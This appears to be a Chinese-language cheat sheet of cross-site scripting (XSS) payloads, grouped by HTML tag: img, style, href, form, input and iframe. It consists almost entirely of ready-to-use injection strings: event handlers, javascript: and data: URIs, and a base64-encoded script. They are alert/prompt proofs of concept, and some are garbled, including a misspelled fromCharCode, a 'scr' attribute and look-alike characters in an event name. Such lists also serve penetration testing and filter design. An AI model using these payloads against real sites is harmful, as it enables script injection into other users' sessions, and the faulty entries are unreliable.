0%
常用代码
echo
1 2 3
| <?php echo "<script>alert(1)</script>"; ?>
|
img 标签
1 2 3 4 5 6
| <img src=javascript:alert("xss")> <IMG SRC=javascript:alert(String.formCharCode(88,83,83))> <img scr="URL" style='Xss:expression(alert(xss));'> <img src="x" onerror=alert(1)> <img src="x" onerror=eval("alert('xss')")> <img src=x onmouseover=alert('xss')>
|
css
1
| <img STYLE="background-image:url(javascript:alert('XSS'))">
|
href
1 2 3 4 5 6 7 8 9 10 11 12 13
| 标准格式 <a href="https://www.baidu.com">baidu</a> XSS利用方式1 <a href="javascript:alert('xss')">aa</a> <a href=javascript:eval(alert('xss'))>aa</a> <a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a> XSS利用方式2 <script>alert('xss')</script> <a href="" onclick=alert('xss')>aa</a> XSS利用方式3 <a href="" onclick=eval(alert('xss'))>aa</a> XSS利用方式4 <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
|
1 2 3 4 5 6 7
| XSS利用方式1 <form action=javascript:alert('xss') method="get"> <form action=javascript:alert('xss')> XSS利用方式2 <form method=post action=aa.asp? onmouseover=prompt('xss')> <form method=post action=aa.asp? onmouseover=alert('xss')> <form action=1 onmouseover=alert('xss')>
|
1 2 3 4 5 6 7 8
| 标准格式 <input name="name" value=""> 利用方式1 <input value="" onclick=alert('xss') type="text"> 利用方式2 <input name="name" value="" onmouseover=prompt('xss') bad=""> 利用方式4 <input name="name" value=""><script>alert('xss')</script>
|
iframe 标签
1 2 3 4 5 6 7 8 9 10 11 12
| XSS利用方式1 <iframe src=javascript:alert('xss');height=5width=1000 /><iframe> XSS利用方式2 <iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> XSS利用方式3 <iframe src="aaa" οnmοuseοver=alert('xss') /><iframe> XSS利用方式3 <iframe src="javascript:prompt(`xss`)"></iframe>
|